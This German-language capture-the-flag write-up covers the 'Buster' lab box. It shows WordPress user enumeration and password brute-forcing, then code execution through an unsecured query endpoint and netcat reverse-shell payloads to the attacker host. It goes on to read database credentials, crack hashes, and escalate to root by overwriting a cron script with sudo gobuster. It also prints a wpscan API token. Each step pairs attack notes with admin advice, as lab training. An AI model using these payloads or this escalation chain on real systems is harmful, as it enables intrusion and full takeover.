┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.162/wp-json/WP/V2/users/1 -s | jq
{
"id": 1,
"name": "ta0",
"url": "http://192.168.31.181",
"description": "",
"link": "http://192.168.2.162/author/ta0/",
"slug": "ta0",
"avatar_urls": {
"24": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=24&d=mm&r=g",
"48": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=48&d=mm&r=g",
"96": "https://secure.gravatar.com/avatar/e1f2ba7a9725660e3e7e294859ea7e00?s=96&d=mm&r=g"
},
"meta": [],
"_links": {
"self": [
{
"href": "http://192.168.2.162/wp-json/wp/v2/users/1",
"targetHints": {
"allow": [
"GET"
]
}
}
],
"collection": [
{
"href": "http://192.168.2.162/wp-json/wp/v2/users"
}
]
}
}
┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.162/wp-json/WP/V2/users/2 -s | jq
{
"code": "rest_user_cannot_view",
"message": "Sorry, you are not allowed to list users.",
"data": {
"status": 401
}
}
Analyse: Die WordPress REST API wird abgefragt, um Benutzerinformationen zu erhalten. `/users` listet alle öffentlich sichtbaren Benutzer (hier nur ID 1), `/users/1` zeigt Details zu Benutzer 1, `/users/2` gibt einen Fehler (401 Unauthorized).
Bewertung: Der Benutzer mit ID 1 hat den Benutzernamen `ta0`. Dies ist ein valider Benutzername für weitere Angriffe. Andere Benutzer sind über die API nicht direkt sichtbar.
Empfehlung (Pentester): Benutzer `ta0` für Brute-Force-Angriffe verwenden (WP-Login, SSH). Andere Methoden zur Benutzer-Enumeration (z.B. WPScan) nutzen.
Empfehlung (Admin): Den Zugriff auf die REST API `/users`-Endpunkte einschränken, um Benutzer-Enumeration zu verhindern.
WP Login Page Analyse
# Manuelle Analyse der Login-Seite (http://192.168.2.162/wp-login.php)
# ... (Beschreibung des Login-Formulars) ...
# Fehlermeldung bei falschem Passwort für 'ta0':
Error: The password you entered for the username ta0 is incorrect. Lost your password?
Analyse: Untersuchung der WordPress-Login-Seite und der Fehlermeldung bei einem fehlgeschlagenen Login-Versuch für den Benutzer `ta0`.
Bewertung: Die Fehlermeldung bestätigt explizit, dass der Benutzername `ta0` existiert, aber das Passwort falsch ist. Dies ist eine klassische Information Disclosure Schwachstelle, die Benutzer-Enumeration erleichtert.
Empfehlung (Pentester): Bestätigt `ta0` als validen Benutzernamen.
Empfehlung (Admin): WordPress so konfigurieren, dass generische Fehlermeldungen ausgegeben werden (z.B. "Fehler: Ungültiger Benutzername oder falsches Passwort."), um nicht zu verraten, ob der Benutzername oder das Passwort falsch war.
robots.txt Analyse
# Kein Prompt im Originaltext
└─# curl http://192.168.2.162/robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://192.168.2.162/wp-sitemap.xml
Analyse: Inhalt der `robots.txt` wird abgerufen.
Bewertung: Verbietet das Crawlen von `/wp-admin/` (Standard), erlaubt aber explizit `admin-ajax.php`. Enthält einen Link zur Sitemap.
Empfehlung (Pentester): `admin-ajax.php` auf Schwachstellen prüfen (oft Ziel für Angriffe auf Plugin-Funktionen). Die Sitemap (`wp-sitemap.xml`) untersuchen, um die Struktur der Seite besser zu verstehen.
Empfehlung (Admin): Sicherstellen, dass `admin-ajax.php` keine unautorisierten Aktionen erlaubt.
WPScan (Passwort-Attacke)
┌──(root㉿CCat)-[~]
└─# wpscan --url http://192.168.2.162 --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY --usernames ta0 --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
[...]
[+] URL: http://192.168.2.162/ [192.168.2.162]
[+] Started: Sun Jan 26 22:15:14 2025
[...]
[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
[...]
[+] Performing password attack on Xmlrpc against 1 user/s
[...]
[i] No Valid Passwords Found.
[...]
[+] Finished: Sun Jan 26 22:19:54 2025
[...]
Scan Aborted: Canceled by User
Analyse: `wpscan` wird für einen Passwort-Bruteforce-Angriff über XML-RPC gegen den Benutzer `ta0` mit der `rockyou.txt`-Liste verwendet.
Bewertung: Der Angriff findet kein gültiges Passwort und wird schließlich vom Benutzer abgebrochen. Die WordPress-Version 6.7.1 wird als aktuell erkannt. XML-RPC ist aktiviert.
Empfehlung (Pentester): XML-RPC könnte für andere Angriffe (z.B. DDoS Amplification) missbraucht werden, aber der Passwort-Bruteforce war erfolglos. Andere Angriffsvektoren suchen.
Empfehlung (Admin): XML-RPC deaktivieren, wenn nicht benötigt. Starke Passwörter verwenden. Rate-Limiting auch für XML-RPC implementieren.
WPScan (User & Plugin Enumeration)
┌──(root㉿CCat)-[~]
└─# wpscan --url http://192.168.2.162 --api-token RoBoAaM72LLsihOlqUJrA1EleT6AJAd9QxQ9rbmQNCY -e u,p
_______________________________________________________________
[...]
[+] URL: http://192.168.2.162/ [192.168.2.162]
[+] Started: Sun Jan 26 22:21:15 2025
[...]
[+] WordPress version 6.7.1 identified (Latest, released on 2024-11-21).
[...]
[+] Enumerating Most Popular Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] ta0
| Found By: Wp Json Api (Aggressive Detection) [...]
| Confirmed By: Rss Generator (Aggressive Detection), Author Id Brute Forcing [...], Login Error Messages [...]
[+] welcome
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[...]
[+] Finished: Sun Jan 26 22:21:19 2025
[...]
Analyse: `wpscan` wird erneut ausgeführt, diesmal zur Enumeration von Benutzern (`u`) und Plugins (`p`).
Bewertung: Bestätigt den Benutzer `ta0`. Findet einen weiteren validen Benutzernamen: `welcome`. Es werden keine Plugins erkannt (außer den Standard-Bundled-Plugins, die WPScan oft nicht explizit listet).
Empfehlung (Pentester): Den neuen Benutzernamen `welcome` für Brute-Force-Angriffe (SSH, WP-Login) testen. Da keine ungewöhnlichen Plugins gefunden wurden, konzentriert sich der Angriff wahrscheinlich auf Core-Funktionen oder Fehlkonfigurationen.
Empfehlung (Admin): Benutzer-Enumeration verhindern (REST API, Login-Fehler).
WordPress Query Console (WQC) Discovery
# Kein Prompt im Text
└─# # Manuelle Prüfung oder Scan entdeckt Endpunkt
# Endpunkt: http://192.168.2.162/wp-json/wqc/v1/query
# Kein Prompt im Text
└─# curl http://192.168.2.162/wp-json/wqc/v1/query
{"status":"error","message":"Query args missing"}
Analyse: Der WordPress REST API Endpunkt `/wp-json/wqc/v1/query` wird entdeckt. Ein direkter Aufruf ergibt einen Fehler, dass Query-Argumente fehlen.
Bewertung: Fund eines potenziell unsicheren Endpunkts. "WQC" steht wahrscheinlich für "WP Query Console" oder ähnlich. Solche Endpunkte, die direkte Datenbankabfragen oder Code-Ausführung erlauben, sind extrem gefährlich, wenn sie ungesichert sind.
Empfehlung (Pentester): Den Endpunkt mit verschiedenen Parametern und Methoden (GET/POST) testen. Nach Dokumentation oder Exploits für "WQC" suchen.
Empfehlung (Admin): Den WQC-Endpunkt sofort untersuchen. Wenn es sich um ein Plugin handelt, prüfen, ob es notwendig ist und sicher konfiguriert/aktuell ist. Idealerweise solche gefährlichen Funktionen deaktivieren oder stark absichern.
Proof of Concept: RCE via WQC
Kurzbeschreibung: Dieser POC demonstriert die Ausnutzung des ungesicherten WordPress Query Console (WQC) Endpunkts `/wp-json/wqc/v1/query`, um Remote Code Execution (RCE) auf dem Server als `www-data` Benutzer zu erlangen.
Voraussetzungen: Zugriff auf den WQC REST API Endpunkt.
Schritt-für-Schritt-Anleitung (basierend auf Burp Suite Analyse):
-
Testen des Endpunkts (GET):
# Burp Request (GET)
GET /wp-json/wqc/v1/query HTTP/1.1
Host: 192.168.2.162
[...]
# Burp Response (GET)
HTTP/1.1 400 Bad Request
[...]
{"status":"error","message":"Query args missing"}
Analyse: Eine GET-Anfrage ohne Parameter schlägt fehl.
-
Identifizieren der Code-Ausführung (POST mit phpinfo):
# Burp Request (POST)
POST /wp-json/wqc/v1/query HTTP/1.1
Host: 192.168.2.162
[...]
Content-Type: application/json
Content-Length: 55
{
"queryArgs":"phpinfo();",
"queryType":"post"
}
# Burp Response (POST)
HTTP/1.1 200 OK
[...]
Content-Length: 91692
PHP 7.3.31-1~deb10u7 - phpinfo() [...]
Analyse: Eine POST-Anfrage mit JSON-Body, der `queryArgs` auf `phpinfo();` setzt, führt erfolgreich `phpinfo()` aus. Dies bestätigt die RCE-Fähigkeit.
-
Prüfen von `disable_functions`:
# Auszug aus phpinfo() Ausgabe:
disable_functions: passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh
Analyse: Viele gefährliche Funktionen sind deaktiviert, aber `shell_exec` ist *nicht* auf der Liste.
-
Testen von `shell_exec` (Blind RCE via Ping):
# Burp Request (POST)
POST /wp-json/wqc/v1/query HTTP/1.1
[...]
Content-Type: application/json
Content-Length: 62
{
"queryArgs":"shell_exec('ping 192.168.2.199 -c 5');",
"queryType":"post"
}
# Burp Response (POST) - nach 5 Sek. Verzögerung
HTTP/1.1 400 Bad Request
[...]
{"status":"error","data":"null","message":"Query args invalid"}
┌──(root㉿CCat)-[~]
└─# tcpdump icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
23:16:11.453856 IP buster.hmv > CCat: ICMP echo request, id 3814, seq 1, length 64
23:16:11.453873 IP CCat > buster.hmv: ICMP echo reply, id 3814, seq 1, length 64
# ... (weitere 4 Pings) ...
^C
10 packets captured
Analyse: Obwohl die Web-Antwort einen Fehler meldet, wird der `ping`-Befehl ausgeführt (Blind RCE), was durch die ICMP-Pakete im `tcpdump` auf dem Angreifer-System (192.168.2.199) bestätigt wird.
-
Erlangen einer Reverse Shell:
# Burp Request (POST)
POST /wp-json/wqc/v1/query HTTP/1.1
[...]
Content-Type: application/json
Content-Length: 83
{
"queryArgs":"shell_exec('nc -e /bin/bash 192.168.2.199 4445');",
"queryType":"post"
}
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4445
listening on [any] 4445 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.162] 46652
# (Shell Prompt erscheint hier)
Analyse: Ein Netcat Reverse Shell Payload wird über `shell_exec` ausgeführt. Der Listener auf Port 4445 empfängt die Verbindung.
Erwartetes & Tatsächliches Ergebnis: Erfolgreiche Remote Code Execution und Etablierung einer Reverse Shell als Benutzer `www-data`.
Beweismittel: Erfolgreiche Ausführung von `phpinfo()`, erfolgreicher `ping` (Blind RCE), eingehende Reverse Shell Verbindung.
Risikobewertung: Kritisch. Der ungesicherte WQC-Endpunkt erlaubt beliebige PHP-Code-Ausführung (eingeschränkt durch `disable_functions`) und Command Injection über `shell_exec`, was zur vollständigen Kompromittierung des Webservers führt.
Empfehlungen (Admin):
- Den WQC-Endpunkt (`/wp-json/wqc/v1/query`) sofort deaktivieren oder entfernen. (Wahrscheinlich ein unsicheres Plugin).
- Generell keine Plugins installieren, die direkte Code-Ausführung über die API erlauben.
- `disable_functions` in `php.ini` weiter härten und auch `shell_exec` deaktivieren, wenn nicht zwingend benötigt.
- Zugriff auf die WordPress REST API generell einschränken.
Initial Access (Reverse Shell)
# stty rows 47 columns 94
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die empfangene Reverse Shell wird interaktiver gemacht (`stty`) und die Benutzeridentität mit `id` bestätigt.
Bewertung: Bestätigt den Zugriff als Benutzer `www-data`.
Empfehlung (Pentester): Umgebung enumerieren, nach Konfigurationsdateien und Wegen zur Rechteausweitung suchen.
Empfehlung (Admin): Webserver-Prozesse sollten immer mit minimalen Rechten laufen.
Post-Exploitation (www-data)
www-data@listen:~/html/wordpress$ ls -la
total 248
drwxr-xr-x 5 www-data www-data 4096 Jan 8 02:25 .
drwxr-xr-x 3 root root 4096 Jan 7 23:52 ..
-rwxr-xr-x 1 www-data www-data 405 Jan 8 02:25 index.php
# ... (viele WordPress-Dateien) ...
-rw-rw-rw- 1 www-data www-data 3620 Jan 8 02:25 wp-config.php
# ... (restliche WordPress-Dateien) ...
www-data@listen:~/html/wordpress$ cat wp-config.php
thehandsomeguy' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
# [...] (Rest der wp-config.php)
Analyse: Das WordPress-Verzeichnis wird aufgelistet. Die Datei `wp-config.php` hat unsichere Berechtigungen (`-rw-rw-rw-`, weltbeschreibbar) und wird ausgelesen.
Bewertung: Kritischer Fund! Die `wp-config.php` enthält die Zugangsdaten zur WordPress-Datenbank: Benutzer `ll104567` und Passwort `thehandsomeguy` für die lokale MySQL/MariaDB-Datenbank.
Empfehlung (Pentester): Mit den gefundenen Datenbank-Credentials versuchen, auf die Datenbank zuzugreifen und weitere Informationen (z.B. Benutzer-Hashes) zu extrahieren.
Empfehlung (Admin): Die Berechtigungen für `wp-config.php` härten (maximal `644` oder `640`). Datenbank-Credentials sicher verwalten und nicht im Klartext speichern, wenn möglich.
www-data@listen:~/html/wordpress$ ls /home/
welcome
www-data@listen:~/html/wordpress$ su welcome
Password: # (Passwort 'thehandsomeguy' versucht?)
su: Authentication failure
Analyse: Das `/home`-Verzeichnis wird aufgelistet, der Benutzer `welcome` wird gefunden. Versuch, mit `su` und dem gefundenen Datenbankpasswort zu `welcome` zu wechseln.
Bewertung: Fehlgeschlagen. Das Datenbankpasswort ist nicht dasselbe wie das Linux-Passwort für `welcome`. Passwort-Wiederverwendung liegt hier nicht vor.
Empfehlung (Pentester): Andere Wege zur Eskalation zu `welcome` suchen (z.B. Ausnutzen von `sudo`-Rechten, falls `www-data` welche hat, oder Auslesen des Passwort-Hashes aus der DB).
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste und Benutzer verwenden.
www-data@listen:~/html/wordpress$ find / -type f -perm -4000 -ls 2>/dev/null
266805 48 -rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount
262192 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
262193 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
262501 156 -rwsr-xr-x 1 root root 157192 Jan 21 2024 /usr/bin/sudo
262190 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
262189 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
266806 36 -rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount
265545 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
262872 64 -rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su
2951 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
270458 428 -rwsr-xr-x 1 root root 436552 Dec 24 2023 /usr/lib/openssh/ssh-keysign
266768 52 -rwsr-xr-- 1 root messagebus 51184 Oct 23 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Suche nach SUID-Dateien als `www-data`.
Bewertung: Findet nur die Standard-SUID-Binaries. Kein offensichtlicher PrivEsc-Vektor hier.
Empfehlung (Pentester): Datenbankzugriff weiter verfolgen.
Empfehlung (Admin): SUID-Berechtigungen minimieren.
www-data@listen:~/html/wordpress$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* users:(("mysqld",...))
LISTEN 0 128 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=449,fd=6))
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 [::]:80 [::]:* users:(("nginx",pid=449,fd=7))
Analyse: `ss -altpn` listet lauschende TCP-Sockets und die zugehörigen Prozesse auf.
Bewertung: Bestätigt lauschende Dienste auf Port 22 (SSH), 80 (Nginx) und 3306 (MySQL/MariaDB, nur auf localhost `127.0.0.1`).
Empfehlung (Pentester): Bestätigt, dass die Datenbank lokal läuft und mit den gefundenen Credentials zugegriffen werden kann.
Empfehlung (Admin): Datenbankzugriff nur von localhost ist eine gute Sicherheitspraxis.
MySQL Datenbank Enumeration
www-data@listen:~/html/wordpress$ mysql -u ll104567 -p
Enter password: # (thehandsomeguy eingegeben)
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpress |
+--------------------+
2 rows in set (0.000 sec)
MariaDB [(none)]> use wordpress;
Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
# ... (Standard WP Tabellen) ...
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.000 sec)
MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
| 1 | ta0 | $P$BDDc71nM67DbOVN/U50WFGII6EF6.r. | ta0 | 2814928906@qq.com | http://192.168.31.181 | 2025-01-08 03:10:43 | | 0 | ta0 |
| 2 | welcome | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | welcome | 127.0.0.1@qq.com | | 2025-01-08 04:29:28 | 1736310568:$P$B2YbhlDVF1XWIurbL11Pfoasb./0tD. | 0 | welcome |
+----+------------+------------------------------------+---------------+-------------------+-----------------------+---------------------+-----------------------------------------------+-------------+--------------+
2 rows in set (0.000 sec)
Analyse: Login in die MariaDB-Datenbank mit den Credentials aus `wp-config.php`. Auflisten der Datenbanken, Wechsel zur `wordpress`-Datenbank, Auflisten der Tabellen und Abfrage der `wp_users`-Tabelle.
Bewertung: Erfolgreich. Die `wp_users`-Tabelle enthält die Benutzernamen `ta0` und `welcome` sowie deren Passwort-Hashes im WordPress-eigenen Portable Hash Format (`$P$`). Der Hash für `welcome` ist `$P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/`.
Empfehlung (Pentester): Den Passwort-Hash für `welcome` extrahieren und versuchen, ihn offline mit `john` oder `hashcat` zu knacken.
Empfehlung (Admin): Starke Passwörter für WordPress-Benutzer verwenden. Regelmäßig Datenbank-Backups erstellen und sicher aufbewahren. Datenbankzugriff härten.
Privilege Escalation (www-data zu welcome)
Passwort-Hash Cracking (John)
┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
104567 (?)
1g 0:00:00:?? ... Completed ???% (ETA: ...) ... Guess/s ...
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Analyse: `john` wird verwendet, um die extrahierten WordPress `$P$`-Hashes (vermutlich in der Datei `pass` gespeichert) mit der `rockyou.txt`-Wortliste zu knacken.
Bewertung: Erfolg! Das Passwort für einen der Hashes (zugehörig zu `welcome`, basierend auf dem nächsten Schritt) wird als `104567` geknackt.
Empfehlung (Pentester): Das gefundene Passwort `104567` verwenden, um sich als Benutzer `welcome` anzumelden (z.B. via `su`).
Empfehlung (Admin): Starke, komplexe Passwörter verwenden, die nicht in Standard-Wortlisten vorkommen.
Wechsel zum Benutzer 'welcome'
www-data@listen:~/html/wordpress$ su welcome
Password: # (104567 eingegeben)
$ id
uid=1001(welcome) gid=1001(welcome) groups=1001(welcome)
Analyse: Mit `su welcome` und dem geknackten Passwort (`104567`) wird erfolgreich zum Benutzer `welcome` gewechselt.
Bewertung: Horizontale Bewegung/Privilege Escalation zum Benutzer `welcome` erfolgreich.
Empfehlung (Pentester): Die Umgebung als `welcome` untersuchen, insbesondere `sudo -l` erneut prüfen und nach weiteren PrivEsc-Möglichkeiten suchen.
Empfehlung (Admin): Keine neuen Erkenntnisse.
Privilege Escalation (welcome zu root)
welcome@listen:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for welcome on listen:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobuster
Analyse: Überprüfung der `sudo`-Rechte für den Benutzer `welcome`.
Bewertung: Kritischer Fund! Der Benutzer `welcome` darf `/usr/bin/gobuster` als `ALL` (also `root`) ohne Passwort (`NOPASSWD`) ausführen. Dies ist eine bekannte und leicht auszunutzende Fehlkonfiguration für Privilege Escalation.
Empfehlung (Pentester): `gobuster` hat Optionen (wie `-o` zum Schreiben von Output), die missbraucht werden können, um Dateien als root zu schreiben. Dies kann genutzt werden, um z.B. `/etc/shadow`, `/etc/sudoers` zu manipulieren oder einen Cronjob zu erstellen/überschreiben.
Empfehlung (Admin): Niemals Tools wie `gobuster` (oder `find`, `vim`, `less`, etc.) mit `sudo NOPASSWD` erlauben, da sie fast immer Wege zur Eskalation bieten. Nur absolut notwendige, spezifische Befehle mit minimalen Rechten freigeben.
User Flag Fund (als welcome)
welcome@listen:/var/www/html/wordpress$ cd ~
welcome@listen:~$ ls -la
total 12
drwx------ 2 welcome welcome 4096 Jan 7 23:18 .
drwxr-xr-x 3 root root 4096 Jan 7 23:16 ..
-rw-r--r-- 1 root root 33 Jan 7 23:18 user.txt
welcome@listen:~$ cat user.txt
29e0f786e8c90b3ce82e00de0ec7e7d3
Analyse: Wechsel ins Home-Verzeichnis von `welcome` und Auslesen der `user.txt`. Interessanterweise gehört die Datei `root`.
Bewertung: User-Flag erhalten.
Empfehlung (Pentester): Flag notieren.
Empfehlung (Admin): Berechtigungen für Flag-Dateien überprüfen.
Untersuchung von /opt/.test.sh (Cronjob Vorbereitung)
welcome@listen:~$ ls -la /opt/
total 12
drwxr-xr-x 2 root root 4096 Jan 7 23:57 .
drwxr-xr-x 18 root root 4096 Jan 7 21:50 ..
-rwx------ 1 root root 10 Jan 7 23:57 .test.sh
welcome@listen:~$ cat /opt/.test.sh
cat: /opt/.test.sh: Permission denied
welcome@listen:~$ echo "" > /opt/.test.sh
bash: /opt/.test.sh: Permission denied
Analyse: Untersuchung des `/opt`-Verzeichnisses. Eine versteckte Datei `.test.sh` wird gefunden, die `root` gehört und nur für `root` les-/schreib-/ausführbar ist.
Bewertung: Der Benutzer `welcome` kann die Datei weder lesen noch schreiben. Direkt ist sie kein Vektor.
Empfehlung (Pentester): Prozess-Monitoring (z.B. mit `pspy`) laufen lassen, um zu sehen, ob diese Datei von einem Prozess mit höheren Rechten ausgeführt wird.
Empfehlung (Admin): Versteckte Skripte in ungewöhnlichen Verzeichnissen sind verdächtig. Sicherstellen, dass Berechtigungen korrekt sind.
Cronjob Entdeckung (pspy)
# Kein Prompt, pspy wird ausgeführt
└─# ./pspy64
Config: Printing events (colored=true): processes=true | file-system-events=false [...]
[...]
2025/01/24 23:29:01 CMD: UID=0 PID=1263 | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0 PID=1264 | /usr/sbin/CRON -f
2025/01/24 23:29:01 CMD: UID=0 PID=1265 | /bin/sh -c /bin/bash /opt/.test.sh
Analyse: `pspy` (ein Tool zum Überwachen von Linux-Prozessen ohne Root-Rechte) wird ausgeführt.
Bewertung: Kritischer Fund! `pspy` zeigt, dass jede Minute ein Cronjob als `root` (`UID=0`) den Befehl `/bin/sh -c /bin/bash /opt/.test.sh` ausführt. Das bedeutet, der Inhalt von `/opt/.test.sh` wird als root ausgeführt.
Empfehlung (Pentester): Da `welcome` `/usr/bin/gobuster` als root ausführen darf und `gobuster` die Option `-o` zum Schreiben von Output hat, kann `gobuster` verwendet werden, um `/opt/.test.sh` mit einem bösartigen Befehl (z.B. Reverse Shell) zu überschreiben. Dann muss man nur ~1 Minute warten, bis der Cronjob die Shell auslöst.
Empfehlung (Admin): Cronjobs, die Skripte aus potenziell unsicheren Orten wie `/opt` oder `/tmp` ausführen, vermeiden. Sicherstellen, dass Skripte, die als root laufen, nicht von unprivilegierten Benutzern überschrieben werden können.
Exploit via sudo gobuster und Cronjob
welcome@listen:/tmp$ echo "tmp/b" > a.txt
welcome@listen:/tmp$ echo 'nc -e /bin/bash 192.168.2.199 5555' > b
welcome@listen:/tmp$ chmod +x b
┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
welcome@listen:/tmp$ sudo gobuster -w a.txt -u http://192.168.2.199 -n -q -o /opt/.test.sh
# (Keine Ausgabe von gobuster wegen -q)
┌──(root㉿CCat)-[~]
└─# # Ausgabe des Python HTTP Servers:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET / HTTP/1.1" 200 -
192.168.2.162 - - [27/Jan/2025 00:54:13] code 404, message File not found
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET /7a8ae40e-6e0d-4ad8-a4f8-6a463f1332d9 HTTP/1.1" 404 -
192.168.2.162 - - [27/Jan/2025 00:54:13] "GET /tmp/b HTTP/1.1" 200 -
┌──(root㉿CCat)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.162] 47312
id
uid=0(root) gid=0(root) groups=0(root)
Analyse:
1. Eine Datei `a.txt` wird mit dem Inhalt `tmp/b` erstellt.
2. Eine Datei `b` wird mit dem Netcat Reverse Shell Befehl erstellt und ausführbar gemacht.
3. Auf dem Angreifer-PC wird ein Python HTTP-Server gestartet.
4. `sudo gobuster` wird ausgeführt:
* `-w a.txt`: Verwendet `a.txt` als Wortliste (enthält nur `tmp/b`).
* `-u http://192.168.2.199`: Zielt auf den HTTP-Server des Angreifers.
* `-n`: Verhindert die Ausgabe des Statuscodes.
* `-q`: Leiser Modus.
* `-o /opt/.test.sh`: **Der entscheidende Teil!** Schreibt die (erfolgreiche) Ausgabe von Gobuster in die Datei `/opt/.test.sh`.
5. Gobuster (als root) fordert `http://192.168.2.199/tmp/b` an. Der Python-Server liefert den Inhalt von Datei `b` zurück (den `nc`-Befehl).
6. Gobuster schreibt diesen `nc`-Befehl in die Datei `/opt/.test.sh`, die `root` gehört.
7. Ein Netcat-Listener wird auf Port 5555 gestartet.
8. Der Cronjob führt `/opt/.test.sh` (jetzt mit dem `nc`-Befehl) als root aus, was die Reverse Shell zum Angreifer öffnet.
Bewertung: Genialer und erfolgreicher Exploit der `sudo gobuster`-Fehlkonfiguration in Kombination mit dem Cronjob. Privilege Escalation zu `root` abgeschlossen.
Empfehlung (Pentester): Kreative Ausnutzung von `sudo`-Rechten. Immer prüfen, ob Tools Output-Optionen haben, die zum Schreiben von Dateien missbraucht werden können.
Empfehlung (Admin): `sudo`-Regel für `gobuster` entfernen. Cronjobs sicher gestalten. Berechtigungen für `/opt/.test.sh` überprüfen (obwohl hier das Überschreiben das Problem war).
Root Flag
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
note.txt
R00t_fl4g_is_HHHHerererererrererere.txt
# cat R00t_fl4g_is_HHHHerererererrererere.txt
b6a1a0de4223ba038327fc9c647701fb
Analyse: In der Root-Shell wird die ID bestätigt und der Inhalt des Root-Verzeichnisses aufgelistet. Die Root-Flag-Datei wird ausgelesen.
Bewertung: Root-Flag erfolgreich erhalten.
Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): Keine neuen Erkenntnisse.
Flags
cat /home/welcome/user.txt
29e0f786e8c90b3ce82e00de0ec7e7d3
cat /root/R00t_fl4g_is_HHHHerererererrererere.txt
b6a1a0de4223ba038327fc9c647701fb
Zusammenfassung & Empfehlungen
Zusammenfassende Bewertung der Sicherheitslage: Das System "Buster" wies mehrere Schwachstellen auf verschiedenen Ebenen auf, die eine vollständige Kompromittierung ermöglichten. Der Einstieg erfolgte über eine Remote Code Execution Schwachstelle in einem WordPress-Plugin (vermutlich WP Query Console). Post-Exploitation führte zur Entdeckung von Datenbank-Credentials, die das Knacken eines Benutzerpassworts ermöglichten. Eine unsichere `sudo`-Konfiguration erlaubte diesem Benutzer dann, einen Cronjob zu manipulieren und so Root-Rechte zu erlangen.
Identifizierte Verletzlichkeiten (Zusammenfassung):
- **Web (WordPress Query Console):** Ungesicherter API-Endpunkt (`/wp-json/wqc/v1/query`) erlaubte die Ausführung von PHP-Code via POST-Requests, was zu RCE als `www-data` führte (trotz einiger `disable_functions`).
- **Web (WordPress Allgemein):** Klartext-Datenbank-Credentials in `wp-config.php`. Benutzer-Enumeration über REST API und Login-Fehlermeldungen möglich. Fehlende Sicherheitsheader. Aktuelle WP-Version, aber mit gefährlichem Plugin.
- **System (Datenbank):** WordPress-Passwort-Hashes ($P$) in der Datenbank gespeichert, einer davon (für `welcome`) war schwach und konnte geknackt werden.
- **System (sudo):** Unsichere Konfiguration erlaubt Benutzer `welcome` die Ausführung von `/usr/bin/gobuster` als `root` ohne Passwort.
